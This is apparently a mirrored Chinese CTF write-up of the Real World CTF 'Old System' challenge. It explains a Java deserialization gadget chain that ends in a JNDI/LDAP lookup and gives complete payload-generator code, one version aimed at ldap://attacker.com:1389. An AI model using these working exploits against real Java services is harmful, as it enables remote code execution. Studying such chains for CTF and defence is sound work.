14

Real Wolrd CTF Old System New Getter Jndi Gadget

 3 years ago
source link: https://y4er.com/post/real-wolrd-ctf-old-system-new-getter-jndi-gadget/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

昨天晚上看了长亭的一篇 Real Wolrd CTF 3rd Writeup | Old System 推文,觉得很有意思,自己研究下。

挖掘过程

概述: 从HashMap触发TreeMap的get()从而进入到compare()。

ZNNzaqa.png!mobile

web.xml中声明了servlet路由,在其代码中进行了反序列化 BfiEFvy.png!mobile

this.appClassLoader 将反序列化能用的类限制在jdk标准库和classpath中。 MvmAFjB.png!mobile

其中cc库为2.1没有InvokerTransformer或InstantiateTransformer。 An2Ynan.png!mobile

cc库走不通,看cb库 org.apache.commons.beanutils.BeanComparator ,很明显可以调用任意对象的getter方法。 b6B3myb.png!mobile

在yso中是使用 PriorityQueue 来自动进入compare方法中,而目标环境是jdk1.4,没有 PriorityQueue 类。低版本的jdk肯定有对 PriorityQueue 自动排序队列的另一种实现,即如下调用栈

1java.util.HashMap#readObject
2java.util.HashMap#putForCreate
3java.util.HashMap#eq
4java.util.AbstractMap#equals
5java.util.TreeMap#get
6java.util.TreeMap#getEntry
7            org.apache.commons.beanutils.BeanComparator#compare

通过TreeMap的get()方法触发getEntry()从而触发compare() 3iYrIj.png!mobile

Yfeaqu.png!mobile

iERnum3.png!mobile

我这里使用的是jdk1.8的代码,大差不差最后都能触发compare()。那么现在的关键点就在于如何触发TreeMap.get()。

在HashMap反序列化时会调用到 putForCreate()NRbINv.png!mobile 图来自原文

putForCreate用于判断hash是否一致,可以通过构造值一样但引用地址不一样的两个对象来解决。

1TreeMap treeMap1 = new TreeMap(comparator);
2treeMap1.put(payloadObject, "aaa");
3TreeMap treeMap2 = new TreeMap(comparator);
4treeMap2.put(payloadObject, "aaa");
5HashMap hashMap = new HashMap();
6hashMap.put(treeMap1, "bbb");
7hashMap.put(treeMap2, "ccc");

这样就完成了从反序列化入口 readObject()BeanComparator.compare() 的调用。

现在的问题就是找到RCE的最终点。而在 org.apache.commons.beanutils.BeanComparator 中是可以调用任意getter方法的,通过 PropertyUtils.getProperty()

TemplatesImplJdbcRowSetImpl 在jdk1.4的版本里都是没有的。作者挖到了一条新链,直接贴调用栈

1com.sun.jndi.ldap.LdapAttribute#getAttributeDefinition
2-> javax.naming.directory.InitialDirContext#getSchema(javax.naming.Name)
3-> com.sun.jndi.toolkit.ctx.PartialCompositeDirContext#getSchema(javax.naming.Name)
4-> com.sun.jndi.toolkit.ctx.ComponentDirContext#p_getSchema
5-> com.sun.jndi.toolkit.ctx.ComponentContext#p_resolveIntermediate
6-> com.sun.jndi.toolkit.ctx.AtomicContext#c_resolveIntermediate_nns
7-> com.sun.jndi.toolkit.ctx.ComponentContext#c_resolveIntermediate_nns
8-> com.sun.jndi.ldap.LdapCtx#c_lookup
9-> RCE

贴一下图,通过传入property为 attributeDefinition 来触发 com.sun.jndi.ldap.LdapAttribute#getAttributeDefinition ,而在这个类的调用过程中进行了lookup()。 eEFJJnr.png!mobile

iaUjEj2.png!mobile

2qyiqq.png!mobile

F7B77vv.png!mobile

3IrUbmE.png!mobile 这里直接跳转lookup的底层实现进行jndi查询。

POC

不仅仅适用于jdk1.4,在1.8也测试成功。利用场景在 有任意的getter方法调用

CTF的题解payload

 1import org.apache.commons.beanutils.BeanComparator;
 2import javax.naming.CompositeName;
 3import java.io.FileOutputStream;
 4import java.io.ObjectOutputStream;
 5import java.lang.reflect.Constructor;
 6import java.lang.reflect.Field;
 7import java.util.HashMap;
 8import java.util.TreeMap;
 9public class PayloadGenerator {
10public static void main(String[] args) throws Exception {
11        String ldapCtxUrl = "ldap://attacker.com:1389";
12        Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
13        Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(
14new Class[] {String.class});
15        ldapAttributeClazzConstructor.setAccessible(true);
16        Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(
17new Object[] {"name"});
18        Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL");
19        baseCtxUrlField.setAccessible(true);
20        baseCtxUrlField.set(ldapAttribute, ldapCtxUrl);
21        Field rdnField = ldapAttributeClazz.getDeclaredField("rdn");
22        rdnField.setAccessible(true);
23        rdnField.set(ldapAttribute, new CompositeName("a//b"));
24// Generate payload
25        BeanComparator comparator = new BeanComparator("class");
26        TreeMap treeMap1 = new TreeMap(comparator);
27        treeMap1.put(ldapAttribute, "aaa");
28        TreeMap treeMap2 = new TreeMap(comparator);
29        treeMap2.put(ldapAttribute, "aaa");
30        HashMap hashMap = new HashMap();
31        hashMap.put(treeMap1, "bbb");
32        hashMap.put(treeMap2, "ccc");
33        Field propertyField = BeanComparator.class.getDeclaredField("property");
34        propertyField.setAccessible(true);
35        propertyField.set(comparator, "attributeDefinition");
36        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.ser"));
37        oos.writeObject(hashMap);
38        oos.close();
39    }
40}

在jdk1.8中可以用下面的,只构造了后半截,TreeMap的部分需要具体问题具体分析,只要可以调用 getAttributeDefinition 即可。

 1package com.test;
 2
 3import javax.naming.CompositeName;
 4import java.lang.reflect.Constructor;
 5import java.lang.reflect.Field;
 6import java.lang.reflect.Method;
 7
 8public class Main {
 9
10    public static void main(String[] args) {
11        try {
12            String ldapCtxUrl = "ldap://localhost:1389";
13            Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
14
15            Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(
16                    new Class[]{String.class});
17            ldapAttributeClazzConstructor.setAccessible(true);
18            Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(
19                    new Object[]{"name"});
20
21            Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL");
22            baseCtxUrlField.setAccessible(true);
23            baseCtxUrlField.set(ldapAttribute, ldapCtxUrl);
24
25            Field rdnField = ldapAttributeClazz.getDeclaredField("rdn");
26            rdnField.setAccessible(true);
27            rdnField.set(ldapAttribute, new CompositeName("a//b"));
28
29            Method getAttributeDefinitionMethod = ldapAttributeClazz.getMethod("getAttributeDefinition", new Class[]{});
30            getAttributeDefinitionMethod.setAccessible(true);
31            getAttributeDefinitionMethod.invoke(ldapAttribute, new Object[]{});
32        } catch (Exception e) {
33            e.printStackTrace();
34        }
35    }
36}

3uIN3ei.png!mobile

参考

  1. https://github.com/voidfyoo/rwctf-2021-old-system/tree/main/writeup
  2. https://ctftime.org/task/14500
  3. Real Wolrd CTF 3rd Writeup | Old System

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK